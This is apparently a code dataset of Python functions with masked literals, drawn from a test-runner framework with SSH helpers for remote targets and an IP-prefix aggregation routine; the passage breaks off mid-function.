{"signature": "def script_run(trun, script):", "body": "if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % script)<EOL>cij.emph(\"<STR_LIT>\" % script[\"<STR_LIT>\"])<EOL><DEDENT>launchers = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:source>\"<EOL>}<EOL>ext = os.path.splitext(script[\"<STR_LIT>\"])[-<NUM_LIT:1>]<EOL>if not ext in launchers.keys():<EOL><INDENT>cij.err(\"<STR_LIT>\" % script[\"<STR_LIT>\"])<EOL>return <NUM_LIT:1><EOL><DEDENT>launch = launchers[ext]<EOL>with open(script[\"<STR_LIT>\"], \"<STR_LIT:a>\") as log_fd:<EOL><INDENT>log_fd.write(\"<STR_LIT>\" % script[\"<STR_LIT>\"])<EOL>log_fd.flush()<EOL>bgn = time.time()<EOL>cmd = [<EOL>'<STR_LIT>', '<STR_LIT:-c>',<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (<EOL>trun[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>script[\"<STR_LIT>\"],<EOL>launch,<EOL>script[\"<STR_LIT>\"]<EOL>)<EOL>]<EOL>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"] > <NUM_LIT:1>:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % \"<STR_LIT:U+0020>\".join(cmd))<EOL><DEDENT>evars = os.environ.copy()<EOL>evars.update({k: str(script[\"<STR_LIT>\"][k]) for k in script[\"<STR_LIT>\"]})<EOL>process = Popen(<EOL>cmd,<EOL>stdout=log_fd,<EOL>stderr=STDOUT,<EOL>cwd=script[\"<STR_LIT>\"],<EOL>env=evars<EOL>)<EOL>process.wait()<EOL>script[\"<STR_LIT>\"] = process.returncode<EOL>script[\"<STR_LIT>\"] = time.time() - bgn<EOL><DEDENT>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % script[\"<STR_LIT>\"])<EOL>cij.emph(<EOL>\"<STR_LIT>\" % script[\"<STR_LIT>\"],<EOL>script[\"<STR_LIT>\"]<EOL>)<EOL><DEDENT>return script[\"<STR_LIT>\"]<EOL>", "docstring": "Execute a script or testcase", "id": "f13350:m1"}
{"signature": "def hook_setup(parent, hook_fpath):", "body": "hook = copy.deepcopy(HOOK)<EOL>hook[\"<STR_LIT:name>\"] = os.path.splitext(os.path.basename(hook_fpath))[<NUM_LIT:0>]<EOL>hook[\"<STR_LIT:name>\"] = hook[\"<STR_LIT:name>\"].replace(\"<STR_LIT>\", \"<STR_LIT>\").replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>hook[\"<STR_LIT>\"] = parent[\"<STR_LIT>\"]<EOL>hook[\"<STR_LIT>\"] = hook_fpath<EOL>hook[\"<STR_LIT>\"] = \"<STR_LIT>\" % os.path.basename(hook[\"<STR_LIT>\"])<EOL>hook[\"<STR_LIT>\"] = os.sep.join([hook[\"<STR_LIT>\"], hook[\"<STR_LIT>\"]])<EOL>hook[\"<STR_LIT>\"] = os.sep.join([<EOL>hook[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\" % hook[\"<STR_LIT>\"]<EOL>])<EOL>hook[\"<STR_LIT>\"].update(copy.deepcopy(parent[\"<STR_LIT>\"]))<EOL>shutil.copyfile(hook[\"<STR_LIT>\"], hook[\"<STR_LIT>\"])<EOL>return hook<EOL>", "docstring": "Setup hook", "id": "f13350:m2"}
{"signature": "def hooks_setup(trun, parent, hnames=None):", "body": "hooks = {<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT>\": []<EOL>}<EOL>if hnames is None:       <EOL><INDENT>return hooks<EOL><DEDENT>for hname in hnames:      <EOL><INDENT>for med in HOOK_PATTERNS:<EOL><INDENT>for ptn in HOOK_PATTERNS[med]:<EOL><INDENT>fpath = os.sep.join([trun[\"<STR_LIT>\"][\"<STR_LIT>\"], ptn % hname])<EOL>if not os.path.exists(fpath):<EOL><INDENT>continue<EOL><DEDENT>hook = hook_setup(parent, fpath)<EOL>if not hook:<EOL><INDENT>continue<EOL><DEDENT>hooks[med].append(hook)<EOL><DEDENT><DEDENT>if not hooks[\"<STR_LIT>\"] + hooks[\"<STR_LIT>\"]:<EOL><INDENT>cij.err(\"<STR_LIT>\" % hname)<EOL>return None<EOL><DEDENT><DEDENT>return hooks<EOL>", "docstring": "Setup test-hooks\n@returns dict of hook filepaths {\"enter\": [], \"exit\": []}", "id": "f13350:m3"}
{"signature": "def trun_to_file(trun, fpath=None):", "body": "if fpath is None:<EOL><INDENT>fpath = yml_fpath(trun[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL><DEDENT>with open(fpath, '<STR_LIT:w>') as yml_file:<EOL><INDENT>data = yaml.dump(trun, explicit_start=True, default_flow_style=False)<EOL>yml_file.write(data)<EOL><DEDENT>", "docstring": "Dump the given trun to file", "id": "f13350:m4"}
{"signature": "def trun_from_file(fpath):", "body": "with open(fpath, '<STR_LIT:r>') as yml_file:<EOL><INDENT>return yaml.safe_load(yml_file)<EOL><DEDENT>", "docstring": "Returns trun from the given fpath", "id": "f13350:m5"}
{"signature": "def trun_emph(trun):", "body": "if trun[\"<STR_LIT>\"][\"<STR_LIT>\"] > <NUM_LIT:1>:               <EOL><INDENT>cij.emph(\"<STR_LIT>\")<EOL>for cvar in sorted(trun[\"<STR_LIT>\"].keys()):<EOL><INDENT>cij.emph(\"<STR_LIT>\" % (cvar, trun[\"<STR_LIT>\"][cvar]))<EOL><DEDENT>cij.emph(\"<STR_LIT:}>\")<EOL><DEDENT>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\")<EOL>cij.emph(\"<STR_LIT>\" % trun[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>cij.emph(\"<STR_LIT>\" % yml_fpath(trun[\"<STR_LIT>\"][\"<STR_LIT>\"]))<EOL>cij.emph(\"<STR_LIT:}>\")<EOL><DEDENT>", "docstring": "Print essential info on", "id": "f13350:m6"}
{"signature": "def tcase_setup(trun, parent, tcase_fname):", "body": "<EOL>case = copy.deepcopy(TESTCASE)<EOL>case[\"<STR_LIT>\"] = tcase_fname<EOL>case[\"<STR_LIT>\"] = os.sep.join([trun[\"<STR_LIT>\"][\"<STR_LIT>\"], case[\"<STR_LIT>\"]])<EOL>if not os.path.exists(case[\"<STR_LIT>\"]):<EOL><INDENT>cij.err('<STR_LIT>' % case[\"<STR_LIT>\"])<EOL>return None<EOL><DEDENT>case[\"<STR_LIT:name>\"] = os.path.splitext(case[\"<STR_LIT>\"])[<NUM_LIT:0>]<EOL>case[\"<STR_LIT>\"] = \"<STR_LIT:/>\".join([parent[\"<STR_LIT>\"], case[\"<STR_LIT>\"]])<EOL>case[\"<STR_LIT>\"] = os.sep.join([parent[\"<STR_LIT>\"], case[\"<STR_LIT>\"]])<EOL>case[\"<STR_LIT>\"] = os.sep.join([case[\"<STR_LIT>\"], \"<STR_LIT>\"])<EOL>case[\"<STR_LIT>\"] = os.sep.join([case[\"<STR_LIT>\"], \"<STR_LIT>\"])<EOL>case[\"<STR_LIT>\"] = os.sep.join([case[\"<STR_LIT>\"], case[\"<STR_LIT>\"]])<EOL>case[\"<STR_LIT>\"].update(copy.deepcopy(parent[\"<STR_LIT>\"]))<EOL>os.makedirs(case[\"<STR_LIT>\"])                       <EOL>os.makedirs(case[\"<STR_LIT>\"])<EOL>shutil.copyfile(case[\"<STR_LIT>\"], case[\"<STR_LIT>\"])  <EOL>case[\"<STR_LIT>\"] = hooks_setup(trun, case, parent.get(\"<STR_LIT>\"))<EOL>return case<EOL>", "docstring": "Create and initialize a testcase", "id": "f13350:m7"}
{"signature": "def tsuite_exit(trun, tsuite):", "body": "if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\")<EOL><DEDENT>rcode = <NUM_LIT:0><EOL>for hook in reversed(tsuite[\"<STR_LIT>\"][\"<STR_LIT>\"]):      <EOL><INDENT>rcode = script_run(trun, hook)<EOL>if rcode:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % rcode, rcode)<EOL><DEDENT>return rcode<EOL>", "docstring": "Triggers when exiting the given testsuite", "id": "f13350:m8"}
{"signature": "def tsuite_enter(trun, tsuite):", "body": "if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % tsuite[\"<STR_LIT:name>\"])<EOL><DEDENT>rcode = <NUM_LIT:0><EOL>for hook in tsuite[\"<STR_LIT>\"][\"<STR_LIT>\"]:     <EOL><INDENT>rcode = script_run(trun, hook)<EOL>if rcode:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % rcode, rcode)<EOL><DEDENT>return rcode<EOL>", "docstring": "Triggers when entering the given testsuite", "id": "f13350:m9"}
{"signature": "def tsuite_setup(trun, declr, enum):", "body": "suite = copy.deepcopy(TESTSUITE)  <EOL>suite[\"<STR_LIT:name>\"] = declr.get(\"<STR_LIT:name>\")<EOL>if suite[\"<STR_LIT:name>\"] is None:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>suite[\"<STR_LIT>\"] = declr.get(\"<STR_LIT>\")<EOL>suite[\"<STR_LIT>\"] = \"<STR_LIT>\" % (suite[\"<STR_LIT:name>\"], enum)<EOL>suite[\"<STR_LIT>\"] = os.sep.join([trun[\"<STR_LIT>\"][\"<STR_LIT>\"], suite[\"<STR_LIT>\"]])<EOL>suite[\"<STR_LIT>\"] = os.sep.join([suite[\"<STR_LIT>\"], \"<STR_LIT>\"])<EOL>suite[\"<STR_LIT>\"].update(copy.deepcopy(trun[\"<STR_LIT>\"]))<EOL>suite[\"<STR_LIT>\"].update(copy.deepcopy(declr.get(\"<STR_LIT>\", {})))<EOL>os.makedirs(suite[\"<STR_LIT>\"])<EOL>os.makedirs(suite[\"<STR_LIT>\"])<EOL>suite[\"<STR_LIT>\"] = hooks_setup(trun, suite, declr.get(\"<STR_LIT>\"))<EOL>suite[\"<STR_LIT>\"] = declr.get(\"<STR_LIT>\", [])<EOL>suite[\"<STR_LIT>\"] = \"<STR_LIT>\" % suite[\"<STR_LIT:name>\"]<EOL>suite[\"<STR_LIT>\"] = os.sep.join([trun[\"<STR_LIT>\"][\"<STR_LIT>\"], suite[\"<STR_LIT>\"]])<EOL>tcase_fpaths = []                               <EOL>if os.path.exists(suite[\"<STR_LIT>\"]):              <EOL><INDENT>suite_lines = (<EOL>l.strip() for l in open(suite[\"<STR_LIT>\"]).read().splitlines()<EOL>)<EOL>tcase_fpaths.extend(<EOL>(l for l in suite_lines if len(l) > <NUM_LIT:1> and l[<NUM_LIT:0>] != \"<STR_LIT:#>\")<EOL>)<EOL><DEDENT>else:                                           <EOL><INDENT>tcase_fpaths.extend(declr.get(\"<STR_LIT>\", []))<EOL><DEDENT>if len(set(tcase_fpaths)) != len(tcase_fpaths):<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>for tcase_fname in tcase_fpaths:                <EOL><INDENT>tcase = tcase_setup(trun, suite, tcase_fname)<EOL>if not tcase:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>suite[\"<STR_LIT>\"].append(tcase)<EOL><DEDENT>return suite<EOL>", "docstring": "Creates and initialized a TESTSUITE struct and site-effects such as creating\noutput directories and forwarding initialization of testcases", "id": "f13350:m10"}
{"signature": "def tcase_exit(trun, tsuite, tcase):", "body": "<EOL>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % tcase[\"<STR_LIT>\"])<EOL><DEDENT>rcode = <NUM_LIT:0><EOL>for hook in reversed(tcase[\"<STR_LIT>\"][\"<STR_LIT>\"]):    <EOL><INDENT>rcode = script_run(trun, hook)<EOL>if rcode:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % rcode, rcode)<EOL><DEDENT>return rcode<EOL>", "docstring": "...", "id": "f13350:m11"}
{"signature": "def tcase_enter(trun, tsuite, tcase):", "body": "<EOL>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\")<EOL>cij.emph(\"<STR_LIT>\" % tcase[\"<STR_LIT>\"])<EOL>cij.emph(\"<STR_LIT>\" % tcase[\"<STR_LIT>\"])<EOL><DEDENT>rcode = <NUM_LIT:0><EOL>for hook in tcase[\"<STR_LIT>\"][\"<STR_LIT>\"]:    <EOL><INDENT>rcode = script_run(trun, hook)<EOL>if rcode:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % rcode, rcode)<EOL><DEDENT>return rcode<EOL>", "docstring": "setup res_root and aux_root, log info and run tcase-enter-hooks\n\n@returns 0 when all hooks succeed, some value othervise", "id": "f13350:m12"}
{"signature": "def trun_exit(trun):", "body": "if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\")<EOL><DEDENT>rcode = <NUM_LIT:0><EOL>for hook in reversed(trun[\"<STR_LIT>\"][\"<STR_LIT>\"]):    <EOL><INDENT>rcode = script_run(trun, hook)<EOL>if rcode:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % rcode, rcode)<EOL><DEDENT>return rcode<EOL>", "docstring": "Triggers when exiting the given testrun", "id": "f13350:m13"}
{"signature": "def trun_enter(trun):", "body": "if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\")<EOL><DEDENT>trun[\"<STR_LIT>\"][\"<STR_LIT>\"] = int(time.time())     <EOL>rcode = <NUM_LIT:0><EOL>for hook in trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:     <EOL><INDENT>rcode = script_run(trun, hook)<EOL>if rcode:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if trun[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % rcode, rcode)<EOL><DEDENT>return rcode<EOL>", "docstring": "Triggers when entering the given testrun", "id": "f13350:m14"}
{"signature": "def trun_setup(conf):", "body": "declr = None<EOL>try:<EOL><INDENT>with open(conf[\"<STR_LIT>\"]) as declr_fd:<EOL><INDENT>declr = yaml.safe_load(declr_fd)<EOL><DEDENT><DEDENT>except AttributeError as exc:<EOL><INDENT>cij.err(\"<STR_LIT>\" % exc)<EOL><DEDENT>if not declr:<EOL><INDENT>return None<EOL><DEDENT>trun = copy.deepcopy(TRUN)<EOL>trun[\"<STR_LIT>\"] = cij.VERSION<EOL>trun[\"<STR_LIT>\"] = copy.deepcopy(conf)<EOL>trun[\"<STR_LIT>\"] = conf[\"<STR_LIT>\"]<EOL>trun[\"<STR_LIT>\"] = os.sep.join([trun[\"<STR_LIT>\"], \"<STR_LIT>\"])<EOL>trun[\"<STR_LIT>\"].update(copy.deepcopy(declr.get(\"<STR_LIT>\", {})))<EOL>os.makedirs(trun[\"<STR_LIT>\"])<EOL>hook_names = declr.get(\"<STR_LIT>\", [])<EOL>if \"<STR_LIT>\" not in hook_names:<EOL><INDENT>hook_names = [\"<STR_LIT>\"] + hook_names<EOL><DEDENT>if hook_names[<NUM_LIT:0>] != \"<STR_LIT>\":<EOL><INDENT>return None<EOL><DEDENT>trun[\"<STR_LIT>\"] = hooks_setup(trun, trun, hook_names)<EOL>for enum, declr in enumerate(declr[\"<STR_LIT>\"]):  <EOL><INDENT>tsuite = tsuite_setup(trun, declr, enum)<EOL>if tsuite is None:<EOL><INDENT>cij.err(\"<STR_LIT>\" % tsuite)<EOL>return <NUM_LIT:1><EOL><DEDENT>trun[\"<STR_LIT>\"].append(tsuite)<EOL>trun[\"<STR_LIT>\"][\"<STR_LIT>\"] += len(tsuite[\"<STR_LIT>\"])<EOL><DEDENT>return trun<EOL>", "docstring": "Setup the testrunner data-structure, embedding the parsed environment\nvariables and command-line arguments and continues with setup for testplans,\ntestsuites, and testcases", "id": "f13350:m15"}
{"signature": "def main(conf):", "body": "fpath = yml_fpath(conf[\"<STR_LIT>\"])<EOL>if os.path.exists(fpath):   <EOL><INDENT>cij.err(\"<STR_LIT>\" % fpath)<EOL>return <NUM_LIT:1><EOL><DEDENT>trun = trun_setup(conf)         <EOL>if not trun:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>trun_to_file(trun)              <EOL>trun_emph(trun)                 <EOL>tr_err = <NUM_LIT:0><EOL>tr_ent_err = trun_enter(trun)<EOL>for tsuite in (ts for ts in trun[\"<STR_LIT>\"] if not tr_ent_err):<EOL><INDENT>ts_err = <NUM_LIT:0><EOL>ts_ent_err = tsuite_enter(trun, tsuite)<EOL>for tcase in (tc for tc in tsuite[\"<STR_LIT>\"] if not ts_ent_err):<EOL><INDENT>tc_err = tcase_enter(trun, tsuite, tcase)<EOL>if not tc_err:<EOL><INDENT>tc_err += script_run(trun, tcase)<EOL>tc_err += tcase_exit(trun, tsuite, tcase)<EOL><DEDENT>tcase[\"<STR_LIT:status>\"] = \"<STR_LIT>\" if tc_err else \"<STR_LIT>\"<EOL>trun[\"<STR_LIT>\"][tcase[\"<STR_LIT:status>\"]] += <NUM_LIT:1>  <EOL>trun[\"<STR_LIT>\"][\"<STR_LIT>\"] -= <NUM_LIT:1><EOL>ts_err += tc_err                        <EOL>trun_to_file(trun)                      <EOL><DEDENT>if not ts_ent_err:<EOL><INDENT>ts_err += tsuite_exit(trun, tsuite)<EOL><DEDENT>ts_err += ts_ent_err                        <EOL>tr_err += ts_err<EOL>tsuite[\"<STR_LIT:status>\"] = \"<STR_LIT>\" if ts_err else \"<STR_LIT>\"<EOL>cij.emph(\"<STR_LIT>\" % tsuite[\"<STR_LIT:status>\"], tsuite[\"<STR_LIT:status>\"] != \"<STR_LIT>\")<EOL><DEDENT>if not tr_ent_err:<EOL><INDENT>trun_exit(trun)<EOL><DEDENT>tr_err += tr_ent_err<EOL>trun[\"<STR_LIT:status>\"] = \"<STR_LIT>\" if tr_err else \"<STR_LIT>\"<EOL>trun[\"<STR_LIT>\"][\"<STR_LIT:end>\"] = int(time.time()) + <NUM_LIT:1>         <EOL>trun_to_file(trun)                                  <EOL>cij.emph(\"<STR_LIT>\" % trun[\"<STR_LIT>\"])<EOL>cij.emph(\"<STR_LIT>\" % trun[\"<STR_LIT:status>\"], trun[\"<STR_LIT:status>\"] != \"<STR_LIT>\")<EOL>return trun[\"<STR_LIT>\"][\"<STR_LIT>\"] + trun[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>", "docstring": "CIJ Test Runner main entry point", "id": "f13350:m16"}
{"signature": "def env():", "body": "ssh = cij.env_to_dict(PREFIX, REQUIRED)<EOL>if \"<STR_LIT>\" in ssh:<EOL><INDENT>ssh[\"<STR_LIT>\"] = cij.util.expand_path(ssh[\"<STR_LIT>\"])<EOL><DEDENT>if cij.ENV.get(\"<STR_LIT>\") is None:<EOL><INDENT>cij.ENV[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>cij.warn(\"<STR_LIT>\" % (<EOL>cij.ENV.get(\"<STR_LIT>\")<EOL>))<EOL><DEDENT>if cij.ENV.get(\"<STR_LIT>\") is None:<EOL><INDENT>cij.ENV[\"<STR_LIT>\"] = \"<STR_LIT:1>\"<EOL>cij.warn(\"<STR_LIT>\" % (<EOL>cij.ENV.get(\"<STR_LIT>\")<EOL>))<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify SSH variables and construct exported variables", "id": "f13351:m0"}
{"signature": "def command(cmd, shell=True, echo=True, suffix=None):", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>prefix = []<EOL>if cij.ENV.get(\"<STR_LIT>\") == \"<STR_LIT:1>\":<EOL><INDENT>prefix.append(\"<STR_LIT>\")<EOL><DEDENT>if cij.ENV.get(\"<STR_LIT>\"):<EOL><INDENT>prefix.append(\"<STR_LIT>\")<EOL>prefix.append(cij.ENV.get(\"<STR_LIT>\"))<EOL><DEDENT>prefix.append(\"<STR_LIT>\")<EOL>args = []<EOL>if cij.ENV.get(\"<STR_LIT>\"):<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL>args.append(cij.ENV.get(\"<STR_LIT>\"))<EOL><DEDENT>if cij.ENV.get(\"<STR_LIT>\"):<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL>args.append(cij.ENV.get(\"<STR_LIT>\"))<EOL><DEDENT>args.append(\"<STR_LIT:@>\".join([cij.ENV.get(\"<STR_LIT>\"), cij.ENV.get(\"<STR_LIT>\")]))<EOL>wrapped = prefix + args + [\"<STR_LIT>\" % \"<STR_LIT:U+0020>\".join(cmd)]<EOL>if suffix:<EOL><INDENT>wrapped += suffix<EOL><DEDENT>return cij.util.execute(wrapped, shell, echo)<EOL>", "docstring": "SSH: Run the given command over SSH as defined in environment", "id": "f13351:m1"}
{"signature": "def push(src, dst, folder=False):", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>args = []<EOL>if cij.ENV.get(\"<STR_LIT>\"):<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL>args.append(cij.ENV.get(\"<STR_LIT>\"))<EOL><DEDENT>if cij.ENV.get(\"<STR_LIT>\"):<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL>args.append(cij.ENV.get(\"<STR_LIT>\"))<EOL><DEDENT>if folder:<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL><DEDENT>target = \"<STR_LIT>\" % (\"<STR_LIT:@>\".join([cij.ENV.get(\"<STR_LIT>\"), cij.ENV.get(\"<STR_LIT>\")]), dst)<EOL>wrapped = [\"<STR_LIT>\", \"<STR_LIT:U+0020>\".join(args), src, target]<EOL>return cij.util.execute(wrapped, shell=True, echo=True)<EOL>", "docstring": "SSH: push data to remote linux", "id": "f13351:m2"}
{"signature": "def pull(src, dst, folder=False):", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>args = []<EOL>if cij.ENV.get(\"<STR_LIT>\"):<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL>args.append(cij.ENV.get(\"<STR_LIT>\"))<EOL><DEDENT>if cij.ENV.get(\"<STR_LIT>\"):<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL>args.append(cij.ENV.get(\"<STR_LIT>\"))<EOL><DEDENT>if folder:<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL><DEDENT>target = \"<STR_LIT>\" % (\"<STR_LIT:@>\".join([cij.ENV.get(\"<STR_LIT>\"), cij.ENV.get(\"<STR_LIT>\")]), src)<EOL>wrapped = [\"<STR_LIT>\", \"<STR_LIT:U+0020>\".join(args), target, dst]<EOL>return cij.util.execute(wrapped, shell=True, echo=True)<EOL>", "docstring": "SSH: pull data from remote linux", "id": "f13351:m3"}
{"signature": "def wait(timeout=<NUM_LIT>):", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>timeout_backup = cij.ENV.get(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>time_start = time.time()<EOL>cij.ENV[\"<STR_LIT>\"] = \"<STR_LIT:3>\"<EOL>while True:<EOL><INDENT>time_current = time.time()<EOL>if (time_current - time_start) > timeout:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>status, _, _ = command([\"<STR_LIT>\"], shell=True, echo=False)<EOL>if not status:<EOL><INDENT>break<EOL><DEDENT><DEDENT>cij.info(\"<STR_LIT>\" % (time_current - time_start))<EOL><DEDENT>finally:<EOL><INDENT>if timeout_backup is None:<EOL><INDENT>del cij.ENV[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>cij.ENV[\"<STR_LIT>\"] = timeout_backup<EOL><DEDENT><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Wait util target connected", "id": "f13351:m4"}
{"signature": "def reboot(timeout=<NUM_LIT>, extra=\"<STR_LIT>\"):", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>timeout_backup = cij.ENV.get(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>time_start = time.time()<EOL>status, last_uptime, _ = command([\"<STR_LIT>\"], shell=True, echo=False)<EOL>if status:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>cij.ENV[\"<STR_LIT>\"] = \"<STR_LIT:3>\"<EOL>cij.info(\"<STR_LIT>\" % cij.ENV.get(\"<STR_LIT>\"))<EOL>command([\"<STR_LIT>\" % extra], shell=True, echo=False)<EOL>while True:<EOL><INDENT>time_current = time.time()<EOL>if (time_current - time_start) > timeout:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>status, current_uptime, _ = command([\"<STR_LIT>\"], shell=True, echo=False)<EOL>if not status and current_uptime != last_uptime:<EOL><INDENT>break<EOL><DEDENT><DEDENT>cij.info(\"<STR_LIT>\" % (time_current - time_start))<EOL><DEDENT>finally:<EOL><INDENT>if timeout_backup is None:<EOL><INDENT>del cij.ENV[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>cij.ENV[\"<STR_LIT>\"] = timeout_backup<EOL><DEDENT><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Reboot target", "id": "f13351:m5"}
{"signature": "def main():", "body": "cmd = [\"<STR_LIT>\"]<EOL>rcode, _, _ = cij.ssh.command(cmd, shell=True, echo=False)<EOL>return cij.test.FAIL if rcode else cij.test.PASS<EOL>", "docstring": "@returns cij.test.PASS on success and cij.test.FAIL otherwise", "id": "f13352:m0"}
{"signature": "def aggregate(l):", "body": "tree = radix.Radix()<EOL>for item in l:<EOL><INDENT>try:<EOL><INDENT>tree.add(item)<EOL><DEDENT>except (ValueError) as err:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(item))<EOL><DEDENT><DEDENT>return aggregate_tree(tree).prefixes()<EOL>", "docstring": "Aggregate a `list` of prefixes.\n\n    Keyword arguments:\n    l -- a python list of prefixes\n\n    Example use:\n    >>> aggregate([\"10.0.0.0/8\", \"10.0.0.0/24\"])\n    ['10.0.0.0/8']", "id": "f13355:m0"}
{"signature": "def aggregate_tree(l_tree):", "body": "def _aggregate_phase1(tree):<EOL><INDENT>n_tree = radix.Radix()<EOL>for prefix in tree.prefixes():<EOL><INDENT>if tree.search_worst(prefix).prefix == prefix:<EOL><INDENT>n_tree.add(prefix)<EOL><DEDENT><DEDENT>return n_tree<EOL><DEDENT>def _aggregate_phase2(tree):<EOL><INDENT>n_tree = radix.Radix()<EOL>for rnode in tree:<EOL><INDENT>p = text(ip_network(text(rnode.prefix)).supernet())<EOL>r = tree.search_covered(p)<EOL>if len(r) == <NUM_LIT:2>:<EOL><INDENT>if r[<NUM_LIT:0>].prefixlen == r[<NUM_LIT:1>].prefixlen == rnode.prefixlen:<EOL><INDENT>n_tree.add(p)<EOL><DEDENT>else:<EOL><INDENT>n_tree.add(rnode.prefix)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>n_tree.add(rnode.prefix)<EOL><DEDENT><DEDENT>return n_tree<EOL><DEDENT>l_tree = _aggregate_phase1(l_tree)<EOL>if len(l_tree.prefixes()) == <NUM_LIT:1>:<EOL><INDENT>return l_tree<EOL><DEDENT>while True:<EOL><INDENT>r_tree = _aggregate_phase2(l_tree)<EOL>if l_tree.prefixes() == r_tree.prefixes():<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>l_tree = r_tree<EOL>del r_tree<EOL><DEDENT><DEDENT>return l_tree<EOL>", "docstring": "Walk a py-radix tree and aggregate it.\n\n    Arguments\n    l_tree -- radix.Radix() object", "id": "f13355:m1"}
{"signature": "def get_field_value_from_context(field_name, context_list):", "body": "field_path = field_name.split('<STR_LIT:.>')<EOL>if field_path[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>context_index = <NUM_LIT:0><EOL>field_path.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>context_index = -<NUM_LIT:1><EOL>while field_path[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>context_index -= <NUM_LIT:1><EOL>field_path.pop(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>field_value = context_list[context_index]<EOL>while len(field_path):<EOL><INDENT>field = field_path.pop(<NUM_LIT:0>)<EOL>if isinstance(field_value, (list, tuple, ListModel)):<EOL><INDENT>if field.isdigit():<EOL><INDENT>field = int(field)<EOL><DEDENT>field_value = field_value[field]<EOL><DEDENT>elif isinstance(field_value, dict):<EOL><INDENT>try:<EOL><INDENT>field_value = field_value[field]<EOL><DEDENT>except KeyError:<EOL><INDENT>if field.isdigit():<EOL><INDENT>field = int(field)<EOL>field_value = field_value[field]<EOL><DEDENT>else:<EOL><INDENT>field_value = 